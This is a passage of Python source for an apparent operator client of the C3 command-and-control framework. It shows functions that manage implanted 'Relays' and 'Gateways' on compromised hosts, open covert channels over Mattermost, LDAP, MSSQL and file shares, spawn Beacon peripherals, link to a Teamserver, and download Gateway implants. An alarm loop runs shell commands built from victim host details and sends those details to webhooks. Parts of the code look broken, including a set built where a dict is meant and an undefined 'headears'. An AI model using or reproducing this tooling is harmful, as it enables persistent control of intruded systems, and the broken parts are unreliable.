out = subprocess.run(
|
|
cmd,
|
|
cwd = os.getcwd(),
|
|
shell=True,
|
|
capture_output=True,
|
|
startupinfo=si,
|
|
creationflags=CREATE_NO_WINDOW,
|
|
timeout=60
|
|
)
|
|
|
|
outs = out.stdout
|
|
errs = out.stderr
|
|
else:
|
|
proc = subprocess.Popen(
|
|
cmd,
|
|
cwd = cwd,
|
|
shell=True,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
startupinfo=si,
|
|
creationflags=CREATE_NO_WINDOW
|
|
)
|
|
try:
|
|
outs, errs = proc.communicate(timeout=60)
|
|
proc.wait()
|
|
|
|
except TimeoutExpired:
|
|
proc.kill()
|
|
logger.err('WARNING! The command timed-out! Results may be incomplete')
|
|
outs, errs = proc.communicate()
|
|
|
|
status = outs.decode(errors='ignore').strip()
|
|
return status
|
|
|
|
def onAlarmRelay(args):
|
|
origRelays = collectRelays(args, nonFatal = True)
|
|
lastTimestamp = 0
|
|
|
|
origRelayIds = set()
|
|
|
|
for gateway, relay in origRelays:
|
|
origRelayIds.add(relay['agentId'])
|
|
if relay['timestamp'] > lastTimestamp:
|
|
lastTimestamp = relay['timestamp']
|
|
|
|
print('[.] Entering infinite-loop awaiting for new Relays...')
|
|
|
|
try:
|
|
while True:
|
|
time.sleep(args.delay)
|
|
|
|
currRelays = collectRelays(args, nonFatal = True)
|
|
currRelayIds = set()
|
|
currLastTimestamp = 0
|
|
|
|
for gateway, relay in currRelays:
|
|
currRelayIds.add(relay['agentId'])
|
|
if relay['timestamp'] > currLastTimestamp:
|
|
currLastTimestamp = relay['timestamp']
|
|
|
|
relaysDiff = currRelayIds.difference(origRelayIds)
|
|
|
|
Logger.dbg(f'''Alarm loop.
|
|
origRelayIds: {origRelayIds}
|
|
currRelayIds: {currRelayIds}
|
|
lengths: {len(origRelayIds)} vs {len(currRelayIds)}
|
|
relaysDiff: {relaysDiff}
|
|
lastTimestamp: {lastTimestamp}
|
|
currLastTimestamp: {currLastTimestamp}
|
|
New Relay? {currLastTimestamp > lastTimestamp and len(relaysDiff) > 0}
|
|
''')
|
|
|
|
if currLastTimestamp > lastTimestamp and len(relaysDiff) > 0:
|
|
lastTimestamp = currLastTimestamp
|
|
origRelayIds = currRelayIds
|
|
|
|
newestRelay = None
|
|
newestRelayGateway = None
|
|
newestRelayId = relaysDiff.pop()
|
|
|
|
for gateway, relay in currRelays:
|
|
if relay['agentId'] == newestRelayId:
|
|
newestRelay = relay
|
|
newestRelayGateway = gateway
|
|
break
|
|
|
|
if newestRelay == None:
|
|
continue
|
|
|
|
print('[+] New Relay checked-in!')
|
|
printFullRelay(newestRelay, len(currRelays))
|
|
|
|
try:
|
|
if args.execute != None and len(args.execute) > 0:
|
|
for command in args.execute:
|
|
cmd = command
|
|
cmd = cmd.replace("<computerName>", newestRelay['hostInfo']['computerName'])
|
|
cmd = cmd.replace("<isElevated>", str(newestRelay['hostInfo']['isElevated']))
|
|
cmd = cmd.replace("<osVersion>", newestRelay['hostInfo']['osVersion'])
|
|
cmd = cmd.replace("<domain>", newestRelay['hostInfo']['domain'])
|
|
cmd = cmd.replace("<userName>", newestRelay['hostInfo']['userName'])
|
|
cmd = cmd.replace("<processId>", str(newestRelay['hostInfo']['processId']))
|
|
cmd = cmd.replace("<relayName>", newestRelay['name'])
|
|
cmd = cmd.replace("<relayId>", newestRelay['agentId'])
|
|
cmd = cmd.replace("<buildId>", newestRelay['buildId'])
|
|
cmd = cmd.replace("<timestamp>", str(datetime.fromtimestamp(newestRelay['timestamp'])))
|
|
cmd = cmd.replace("<gatewayId>", newestRelayGateway['agentId'])
|
|
cmd = cmd.replace("<gatewayName>", newestRelayGateway['name'])
|
|
|
|
print(f'[.] Executing command: {cmd}')
|
|
|
|
time.sleep(args.command_delay)
|
|
print(shell(cmd))
|
|
|
|
print('[.] Commands executed.')
|
|
|
|
if args.webhook != None and len(args.webhook) > 0:
|
|
for webhook in args.webhook:
|
|
data = {
|
|
"<computerName>", newestRelay['hostInfo']['computerName'],
|
|
"<isElevated>", newestRelay['hostInfo']['isElevated'],
|
|
"<osVersion>", newestRelay['hostInfo']['osVersion'],
|
|
"<domain>", newestRelay['hostInfo']['domain'],
|
|
"<userName>", newestRelay['hostInfo']['userName'],
|
|
"<processId>", newestRelay['hostInfo']['processId'],
|
|
"<relayName>", newestRelay['name'],
|
|
"<relayId>", newestRelay['agentId'],
|
|
"<buildId>", newestRelay['buildId'],
|
|
"<timestamp>", datetime.fromtimestamp(newestRelay['timestamp']),
|
|
"<gatewayId>", newestRelayGateway['agentId'],
|
|
"<gatewayName>", newestRelayGateway['name'],
|
|
}
|
|
|
|
print(f'[.] Triggering a webhook: {webhook}')
|
|
|
|
try:
|
|
time.sleep(args.command_delay)
|
|
requests.post(webhook, data = data, headers = headears)
|
|
except Exception as e:
|
|
print(f'[-] Webhook failed: {e}')
|
|
|
|
print('[.] Webhooks triggered.')
|
|
|
|
except Exception as e:
|
|
print(f'[-] Exception occured during New-Relay alarm trigger: {e}')
|
|
|
|
except KeyboardInterrupt:
|
|
print('[.] New Relay alarm loop was finished.')
|
|
|
|
|
|
def findAgent(agentId):
|
|
gateways = getRequest('/api/gateway')
|
|
|
|
for g in gateways:
|
|
if g["agentId"].lower() == agentId.lower() or g["name"].lower() == agentId.lower():
|
|
return g, None
|
|
|
|
gateway = getRequest(f'/api/gateway/{g["agentId"]}')
|
|
if 'relays' in gateway.keys():
|
|
for r in gateway['relays']:
|
|
if r["agentId"].lower() == agentId.lower() or r["name"].lower() == agentId.lower():
|
|
return g, r
|
|
|
|
Logger.fatal('Could not find specified agent.')
|
|
return None
|
|
|
|
def getValueOrRandom(val, N = 6):
|
|
if val == 'random':
|
|
return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(N))
|
|
|
|
return val
|
|
|
|
def closeRelay(gateway, relay):
|
|
gateway = getRequest(f'/api/gateway/{gateway["agentId"]}')
|
|
relayMeta = getRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}')
|
|
|
|
print('\n[.] step 1: Closing bound Peripherals')
|
|
for peri in relayMeta['peripherals']:
|
|
name = getDeviceName(gateway, 'peripherals', peri['type'])
|
|
Logger.info(f'Closing relay\'s peripheral {name} id:{peri["iid"]}')
|
|
closePeripheral(gateway, relay, name, peri['iid'])
|
|
|
|
print('\n[.] step 2: Closing attached channels')
|
|
grcChannel = None
|
|
|
|
for chan in relayMeta['channels']:
|
|
if 'isReturnChannel' in chan.keys():
|
|
chan['url'] = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/channel/{chan["iid"]}/command'
|
|
grcChannel = chan
|
|
continue
|
|
|
|
chanName = getDeviceName(gateway, 'channels', chan['type'])
|
|
Logger.info(f'Closing relay\'s channel {chanName} id:{chan["iid"]}')
|
|
|
|
chan['url'] = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/channel/{chan["iid"]}/command'
|
|
closeChannel(chan, chanName)
|
|
|
|
if not grcChannel:
|
|
Logger.fatal(f'Could not determine Gateway-Return Channel of the specified Relay {relay["name"]} / {relay["agentId"]}. \n Probably its unreachable or already closed.')
|
|
|
|
closeChannel(grcChannel, getDeviceName(gateway, 'channels', grcChannel['type']))
|
|
|
|
print('\n[.] step 3: closing Relay itself')
|
|
data = {
|
|
"name" : "RelayCommandGroup",
|
|
"data" : {
|
|
"id" : commandsMap['Close'],
|
|
"name" : "Command",
|
|
"command" : "Close",
|
|
"arguments" : []
|
|
}
|
|
}
|
|
|
|
Logger.dbg(f'Closing Relay {relay["agentId"]} (id: {relay["agentId"]}). with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command', data, rawResp = True)
|
|
if ret.status_code == 201:
|
|
print(f'[+] Peripheral {relay["name"]} id:{relay["agentId"]} was closed.')
|
|
else:
|
|
print(f'[-] Peripheral {relay["name"]} id:{relay["agentId"]} was not closed: ({ret.status_code}) {ret.text}')
|
|
|
|
print('\n[.] step 4: closing a channel being a neighbour for Relay\'s GRC')
|
|
closed = False
|
|
for relayNode in gateway['relays'] + [gateway,]:
|
|
for route in relayNode['routes']:
|
|
if route['receivingInterface'] == grcChannel['iid']:
|
|
for chan in relayNode['channels']:
|
|
if chan['iid'] == route['outgoingInterface']:
|
|
if relayNode["agentId"] == gateway['agentId']:
|
|
chan['url'] = f'/api/gateway/{gateway["agentId"]}/channel/{chan["iid"]}/command'
|
|
else:
|
|
chan['url'] = f'/api/gateway/{gateway["agentId"]}/relay/{relayNode["agentId"]}/channel/{chan["iid"]}/command'
|
|
|
|
closeChannel(chan, getDeviceName(gateway, 'channels', chan['type']))
|
|
closed = True
|
|
break
|
|
if closed: break
|
|
if closed: break
|
|
if closed: break
|
|
|
|
if closed:
|
|
print('[+] Non-Negotiation channel linked to Relay\'s Gateway-Return Channel was closed.')
|
|
|
|
def onCloseRelay(args):
|
|
relays = collectRelays(args)
|
|
if len(relays) == 0:
|
|
Logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
|
|
|
|
for gateway, relay in relays:
|
|
print(f'[.] Closing relay {relay["name"]} (in gateway: {gateway["name"]}).')
|
|
closeRelay(gateway, relay)
|
|
|
|
def closePeripheral(gateway, relay, peripheralName, peripheralId):
|
|
data = {
|
|
"name" : "PeripheralCommandGroup",
|
|
"data" : {
|
|
"id" : commandsMap['Close'],
|
|
"name" : peripheralName,
|
|
"command" : "Close",
|
|
"arguments" : []
|
|
}
|
|
}
|
|
|
|
Logger.dbg(f'Closing peripheral {peripheralName} (id: {peripheralId}). with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/peripheral/{peripheralId}/command', data, rawResp = True)
|
|
if ret.status_code == 201:
|
|
print(f'[+] Peripheral {peripheralName} id:{peripheralId} was closed.')
|
|
else:
|
|
print(f'[-] Peripheral {peripheralName} id:{peripheralId} was not closed: ({ret.status_code}) {ret.text}')
|
|
|
|
def closeChannel(channel, channelToClose):
|
|
chanId = ''
|
|
if 'channelId' in channel.keys(): chanId = channel['channelId']
|
|
elif 'channel_id' in channel.keys(): chanId = channel['channel_id']
|
|
elif 'iid' in channel.keys(): chanId = channel['iid']
|
|
|
|
data = {
|
|
"name" : "ChannelCommandGroup",
|
|
"data" : {
|
|
"id" : commandsMap['Close'],
|
|
"name" : channelToClose,
|
|
"command" : "Close",
|
|
"arguments" : []
|
|
}
|
|
}
|
|
|
|
Logger.dbg(f'Closing {channelToClose} channel (id: {chanId}). with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(channel["url"], data, rawResp = True)
|
|
if ret.status_code == 201:
|
|
print(f'[+] Channel {channelToClose} (id: {chanId}) was closed.')
|
|
else:
|
|
print(f'[-] Channel {channelToClose} (id: {chanId}) was not closed: ({ret.status_code}) {ret.text}')
|
|
|
|
def closeNetwork(gateway):
|
|
data = {
|
|
"name":"GatewayCommandGroup",
|
|
"data":{
|
|
"id":commandsMap['ClearNetwork'],
|
|
"name":"Command",
|
|
"command":"ClearNetwork",
|
|
"arguments": [
|
|
{
|
|
"type":"boolean",
|
|
"name":"Are you sure?",
|
|
"value": True
|
|
}
|
|
]
|
|
}
|
|
}
|
|
|
|
Logger.dbg(f'Closing gateway {gateway["name"]} with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/command', data, rawResp = True)
|
|
if ret.status_code == 201:
|
|
print(f'[+] Network on gateway {gateway["name"]} (id: {gateway["agentId"]}) was cleared.')
|
|
else:
|
|
print(f'[-] Network on gateway {gateway["name"]} (id: {gateway["agentId"]}) was not cleared: ({ret.status_code}) {ret.text}')
|
|
|
|
def onCloseNetwork(args):
|
|
gateways = getRequest(f'/api/gateway')
|
|
|
|
for _gateway in gateways:
|
|
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
|
|
if gateway['name'].lower() == args.gateway_id.lower() or gateway['agentId'] == args.gateway_id.lower():
|
|
closeNetwork(gateway)
|
|
|
|
def onCloseChannel(args):
|
|
gateways = getRequest('/api/gateway')
|
|
channelsToClose = []
|
|
|
|
for _gateway in gateways:
|
|
if len(args.gateway_id) > 0:
|
|
if _gateway["agentId"].lower() != args.gateway_id.lower() and _gateway["name"].lower() != args.gateway_id.lower():
|
|
continue
|
|
|
|
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
|
|
capability = processCapability(gateway)
|
|
|
|
if len(args.gateway_id) > 0:
|
|
if gateway["agentId"].lower() == args.agent_id.lower() or gateway["name"].lower() == args.agent_id.lower():
|
|
for channel in gateway['channels']:
|
|
name = getDeviceName(gateway, 'channels', channel['type'])
|
|
if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id):
|
|
_type = 'non-negotiation'
|
|
if 'isReturnChannel' in channel.keys() and channel['isReturnChannel']: _type = 'grc'
|
|
elif 'isNegotiationChannel' in channel.keys() and channel['isNegotiationChannel']: _type = 'negotiation'
|
|
|
|
channelsToClose.append({
|
|
'url' : f'/api/gateway/{_gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command',
|
|
'name' : name,
|
|
'iid' : channel['iid'],
|
|
'agent' : relay,
|
|
'type' : _type,
|
|
'kind' : 'Relay',
|
|
})
|
|
|
|
for relay in gateway['relays']:
|
|
if relay["agentId"].lower() != args.agent_id.lower() and relay["name"].lower() != args.agent_id.lower():
|
|
continue
|
|
|
|
for channel in relay['channels']:
|
|
name = getDeviceName(gateway, 'channels', channel['type'])
|
|
if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id):
|
|
|
|
_type = 'non-negotiation'
|
|
if 'isReturnChannel' in channel.keys() and channel['isReturnChannel']: _type = 'grc'
|
|
elif 'isNegotiationChannel' in channel.keys() and channel['isNegotiationChannel']: _type = 'negotiation'
|
|
|
|
channelsToClose.append({
|
|
'url' : f'/api/gateway/{_gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command',
|
|
'name' : name,
|
|
'iid' : channel['iid'],
|
|
'agent' : relay,
|
|
'type' : _type,
|
|
'kind' : 'Relay',
|
|
})
|
|
|
|
if len(channelsToClose) == 0:
|
|
Logger.fatal('Could not find channels that should have been closed. Try changing search criteria.')
|
|
|
|
for channel in channelsToClose:
|
|
if channel['type'] == 'grc' and not args.close_grc: continue
|
|
closeChannel(channel, channel['name'])
|
|
|
|
def onMattermostCreate(args):
|
|
server_url = args.server_url
|
|
if server_url.endswith('/'): server_url = server_url[:-1]
|
|
|
|
gateway, relay = findAgent(args.agent_id)
|
|
if not relay and not gateway:
|
|
logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
|
|
|
|
url = f'/api/gateway/{gateway["agentId"]}/command'
|
|
|
|
if relay != None:
|
|
url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command'
|
|
print(f'[.] Will setup a Mattermost channel on a Relay named {relay["name"]} ({relay["agentId"]})')
|
|
else:
|
|
print(f'[.] Will setup a Mattermost channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})')
|
|
|
|
|
|
secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelMattermost')
|
|
commandId = getLastGatewayCommandID()
|
|
Logger.info(f'Issuing a command with ID = {commandId}')
|
|
|
|
data = {
|
|
"name" : "GatewayCommandGroup",
|
|
"data" : {
|
|
"arguments" : [
|
|
{
|
|
"type" : "string",
|
|
"name" : "Negotiation Identifier",
|
|
"value" : getValueOrRandom(args.negotiation_id),
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Mattermost Server URL",
|
|
"value" : server_url,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Mattermost Team Name",
|
|
"value" : args.team_name
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Mattermost Access Token",
|
|
"value" : args.access_token,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Channel name",
|
|
"value" : getValueOrRandom(args.channel_name),
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "User-Agent Header",
|
|
"value" : args.user_agent,
|
|
}
|
|
],
|
|
"command" : "AddNegotiationChannelMattermost",
|
|
"id" : secondCommandId,
|
|
"name" : "Command",
|
|
},
|
|
'name' : 'GatewayCommandGroup'
|
|
}
|
|
|
|
Logger.dbg('Will create Mattermost channel with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(url, data, rawResp = True)
|
|
|
|
if ret.status_code == 201:
|
|
print('[+] Channel was created.')
|
|
else:
|
|
print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}')
|
|
|
|
def onLDAPCreate(args):
|
|
gateway, relay = findAgent(args.agent_id)
|
|
if not relay and not gateway:
|
|
logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
|
|
|
|
url = f'/api/gateway/{gateway["agentId"]}/command'
|
|
|
|
if relay != None:
|
|
url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command'
|
|
print(f'[.] Will setup a LDAP channel on a Relay named {relay["name"]} ({relay["agentId"]})')
|
|
else:
|
|
print(f'[.] Will setup a LDAP channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})')
|
|
|
|
secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelLDAP')
|
|
commandId = getLastGatewayCommandID()
|
|
Logger.info(f'Issuing a command with ID = {commandId}')
|
|
|
|
data = {
|
|
"data" : {
|
|
"arguments" : [
|
|
{
|
|
"type" : "string",
|
|
"name" : "Negotiation Identifier",
|
|
"value" : getValueOrRandom(args.negotiation_id),
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Data LDAP Attribute",
|
|
"value" : args.data_attribute,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Lock LDAP Attribute",
|
|
"value" : args.lock_attribute
|
|
},
|
|
{
|
|
"type" : "uint32",
|
|
"name" : "Max Packet Size",
|
|
"value" : args.max_size,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Domain Controller",
|
|
"value" : args.domain_controller,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Username",
|
|
"value" : args.username,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Password",
|
|
"value" : args.password,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "User DN",
|
|
"value" : args.user_dn,
|
|
}
|
|
],
|
|
"command" : "AddNegotiationChannelLDAP",
|
|
"id" : secondCommandId,
|
|
"name" : "Command",
|
|
},
|
|
'name' : 'GatewayCommandGroup'
|
|
}
|
|
|
|
Logger.dbg('Will create LDAP channel with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(url, data, rawResp = True)
|
|
|
|
if ret.status_code == 201:
|
|
print('[+] Channel was created.')
|
|
else:
|
|
print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}')
|
|
|
|
def onUncShareFileCreate(args):
|
|
gateway, relay = findAgent(args.agent_id)
|
|
if not relay and not gateway:
|
|
logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
|
|
|
|
url = f'/api/gateway/{gateway["agentId"]}/command'
|
|
|
|
if relay != None:
|
|
url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command'
|
|
print(f'[.] Will setup a UncShareFile channel on a Relay named {relay["name"]} ({relay["agentId"]})')
|
|
else:
|
|
print(f'[.] Will setup a UncShareFile channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})')
|
|
|
|
secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelUncShareFile')
|
|
commandId = getLastGatewayCommandID()
|
|
Logger.info(f'Issuing a command with ID = {commandId}')
|
|
|
|
data = {
|
|
"data" : {
|
|
"arguments" : [
|
|
{
|
|
"type" : "string",
|
|
"name" : "Negotiation Identifier",
|
|
"value" : getValueOrRandom(args.negotiation_id),
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Filesystem path",
|
|
"value" : args.filesystem_path,
|
|
},
|
|
{
|
|
"type" : "boolean",
|
|
"name" : "Clear",
|
|
"value" : args.clear,
|
|
}
|
|
],
|
|
"command" : "AddNegotiationChannelUncShareFile",
|
|
"id" : secondCommandId,
|
|
"name" : "Command",
|
|
},
|
|
'name' : 'GatewayCommandGroup'
|
|
}
|
|
|
|
Logger.dbg('Will create UncShareFile channel with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(url, data, rawResp = True)
|
|
|
|
if ret.status_code == 201:
|
|
print('[+] Channel was created.')
|
|
else:
|
|
print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}')
|
|
|
|
def onMSSQLCreate(args):
|
|
gateway, relay = findAgent(args.agent_id)
|
|
if not relay and not gateway:
|
|
logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
|
|
|
|
url = f'/api/gateway/{gateway["agentId"]}/command'
|
|
|
|
if relay != None:
|
|
url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command'
|
|
print(f'[.] Will setup a MSSQL channel on a Relay named {relay["name"]} ({relay["agentId"]})')
|
|
else:
|
|
print(f'[.] Will setup a MSSQL channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})')
|
|
|
|
secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelMSSQL')
|
|
commandId = getLastGatewayCommandID()
|
|
Logger.info(f'Issuing a command with ID = {commandId}')
|
|
|
|
data = {
|
|
"data" : {
|
|
"arguments" : [
|
|
{
|
|
"type" : "string",
|
|
"name" : "Negotiation Identifier",
|
|
"value" : getValueOrRandom(args.negotiation_id),
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Server Name",
|
|
"value" : args.server_name,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Database Name",
|
|
"value" : args.database_name
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Table Name",
|
|
"value" : args.table_name,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Username",
|
|
"value" : args.username,
|
|
},
|
|
{
|
|
"type" : "string",
|
|
"name" : "Password",
|
|
"value" : args.password,
|
|
},
|
|
{
|
|
"type" : "boolean",
|
|
"name" : "Use Integrated Security (SSPI) - use for domain joined accounts",
|
|
"value" : args.sspi,
|
|
}
|
|
],
|
|
"command" : "AddNegotiationChannelMSSQL",
|
|
"id" : secondCommandId,
|
|
"name" : "Command",
|
|
},
|
|
'name' : 'GatewayCommandGroup'
|
|
}
|
|
|
|
Logger.dbg('Will create MSSQL channel with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(url, data, rawResp = True)
|
|
|
|
if ret.status_code == 201:
|
|
print('[+] Channel was created.')
|
|
else:
|
|
print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}')
|
|
|
|
def onSpawnBeacon(args):
|
|
relays = collectRelays(args)
|
|
if len(relays) == 0:
|
|
logger.fatal('Could not find Relay to be used to spawn a Beacon.')
|
|
|
|
for gateway, relay in relays:
|
|
secondCommandId = getCommandIdMapping(gateway, 'AddPeripheralBeacon')
|
|
commandId = getLastGatewayCommandID()
|
|
Logger.info(f'Issuing a command with ID = {commandId}')
|
|
|
|
data = {
|
|
"name" : "RelayCommandGroup",
|
|
"data" : {
|
|
"arguments" : [
|
|
{
|
|
"type" : "string",
|
|
"name" : "Pipe Name",
|
|
"value" : getValueOrRandom(args.pipe_name),
|
|
},
|
|
{
|
|
"type" : "int16",
|
|
"name" : "Connection trials",
|
|
"value" : args.trials,
|
|
},
|
|
{
|
|
"type" : "int16",
|
|
"name" : "Trials delay",
|
|
"value" : args.delay
|
|
}
|
|
],
|
|
"command" : "AddPeripheralBeacon",
|
|
"id" : secondCommandId,
|
|
"name" : "Command",
|
|
},
|
|
}
|
|
|
|
Logger.dbg('Will spawn Beacon with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
print(f'[+] Spawning Beacon on relay: {relay["name"]} (id: {relay["agentId"]}) on gateway {gateway["name"]}')
|
|
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command', data, rawResp = True)
|
|
|
|
if ret.status_code == 201:
|
|
print('[+] Beacon was spawned.')
|
|
else:
|
|
print(f'[-] Beacon could not be spawned: ({ret.status_code}) {ret.text}')
|
|
|
|
def onTurnOnTeamserver(args):
|
|
gateways = getRequest(f'/api/gateway')
|
|
gateway = None
|
|
|
|
for _gateway in gateways:
|
|
g = getRequest(f'/api/gateway/{_gateway["agentId"]}')
|
|
if g['name'].lower() == args.gateway_id.lower() or g['agentId'] == args.gateway_id.lower():
|
|
gateway = g
|
|
break
|
|
|
|
if not gateway:
|
|
Logger.fatal(f'Could not find Gateway with specified gateway_id: {args.gateway_id}')
|
|
|
|
commandId = getCommandIdMapping(gateway, "TurnOnConnectorTeamServer")
|
|
data = {
|
|
"name":"GatewayCommandGroup",
|
|
"data": {
|
|
"id":commandId,
|
|
"name":"Command",
|
|
"command":"TurnOnConnectorTeamServer",
|
|
"arguments": [
|
|
{
|
|
"type":"ip",
|
|
"name":"Address",
|
|
"value":args.address
|
|
},
|
|
{
|
|
"type":"uint16",
|
|
"name":"Port",
|
|
"value":args.port
|
|
}
|
|
]
|
|
}
|
|
}
|
|
|
|
Logger.dbg(f'Will Turn On connector TeamServer on gateway {gateway["name"]} with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/command', data, rawResp = True)
|
|
|
|
if ret.status_code == 201:
|
|
print('[+] Connection with Teamserver established.')
|
|
else:
|
|
print(f'[-] Could not establish connection with Teamserver: ({ret.status_code}) {ret.text}')
|
|
|
|
def onTurnOffConnector(args):
|
|
gateways = getRequest(f'/api/gateway')
|
|
gateway = None
|
|
|
|
for _gateway in gateways:
|
|
g = getRequest(f'/api/gateway/{_gateway["agentId"]}')
|
|
if g['name'].lower() == args.gateway_id.lower() or g['agentId'] == args.gateway_id.lower():
|
|
gateway = g
|
|
break
|
|
|
|
if not gateway:
|
|
Logger.fatal(f'Could not find Gateway with specified gateway_id: {args.gateway_id}')
|
|
|
|
data = {
|
|
"name":"PeripheralCommandGroup",
|
|
"data": {
|
|
"id":commandsMap['Close'],
|
|
"name":"TeamServer",
|
|
"command":"TurnOff",
|
|
"arguments": []
|
|
}
|
|
}
|
|
|
|
Logger.dbg(f'Will Turn Off connector TeamServer on gateway {gateway["name"]} with following parameters:\n\n' + json.dumps(data, indent = 4))
|
|
|
|
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/connector/{args.connector_id}/command', data, rawResp = True)
|
|
|
|
if ret.status_code == 201:
|
|
print('[+] Closed connection with Connector.')
|
|
else:
|
|
print(f'[-] Could not close connection with connector: ({ret.status_code}) {ret.text}')
|
|
|
|
|
|
def onDownloadGateway(args):
|
|
gateway_name = getValueOrRandom(args.gateway_name)
|
|
_format = 'exe'
|
|
arch = 'x64'
|
|
|
|
if args.format.lower().startswith('dll'): _format = 'dll'
|
|
if args.format.lower().endswith('86'): _format = 'x86'
|
|
|
|
print(f'[.] Downloading gateway executable in format {args.format} with name: {gateway_name}')
|
|
url = f'/api/gateway/{_format}/{arch}?name={gateway_name}'
|
|
|
|
output = getRequest(url, True, stream = True)
|
|
data = output.content
|
|
|
|
if len(args.override_ip) > 0:
|
|
data2 = io.BytesIO()
|
|
with zipfile.ZipFile(io.BytesIO(data), 'r') as f:
|
|
with zipfile.ZipFile(data2, 'w') as g:
|
|
for i in f.infolist():
|
|
buf = f.read(i.filename)
|
|
if i.filename.lower().endswith('.json'):
|
|
conf = json.loads(buf)
|
|
conf['API Bridge IP'] = args.override_ip
|
|
buf = json.dumps(conf, indent=4)
|
|
print(f'[.] Overidden stored in JSON configuration IP address to: {args.override_ip}')
|
|
g.writestr(i.filename, buf)
|
|
|
|
data = data2.getvalue()
|
|
|
|
if args.extract:
|
|
with zipfile.ZipFile(io.BytesIO(data), 'r') as f:
|
|
for i in f.infolist():
|
|
outp = os.path.join(args.outfile, os.path.basename(i.filename))
|
|
with open(outp, 'wb') as g:
|
|
g.write(f.read(i.filename))
|
|
|
|
print('[+] Gateway ZIP package downloaded & extracted.')
|
|
else:
|
|
with open(args.outfile, 'wb') as f:
|
|
f.write(data)
|
|
|
|
print('[+] Gateway ZIP package downloaded.')
|
|
|
|
def parseArgs(argv):
|
|
global config
|
|
|
|
usage = '\nUsage: ./c3-client.py [options] <host> <command> [...]\n'
|
|
opts = argparse.ArgumentParser(
|
|
prog = argv[0],
|
|
usage = usage
|
|
)
|
|
|
|
opts.add_argument('host', help = 'C3 Web API host:port')
|
|
|
|
opts.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
|
|
opts.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
|
|
opts.add_argument('-f', '--format', choices=['json', 'text'], default='text', help='Output format. Can be JSON or text (default).')
|
|
opts.add_argument('-n', '--dry-run', action='store_true', help='Do not send any HTTP POST request that could introduce changes in C3 network.')
|
|
opts.add_argument('-A', '--httpauth', metavar = 'user:pass', default='', help = 'HTTP Basic Authentication (user:pass)')
|
|
|
|
subparsers = opts.add_subparsers(help = 'command help', required = True)
|
|
|
|
#
|
|
# Alarm
|
|
#
|
|
alarm = subparsers.add_parser('alarm', help = 'Alarm options')
|
|
alarm_sub = alarm.add_subparsers(help = 'Alarm on what?', required = True)
|
|
|
|
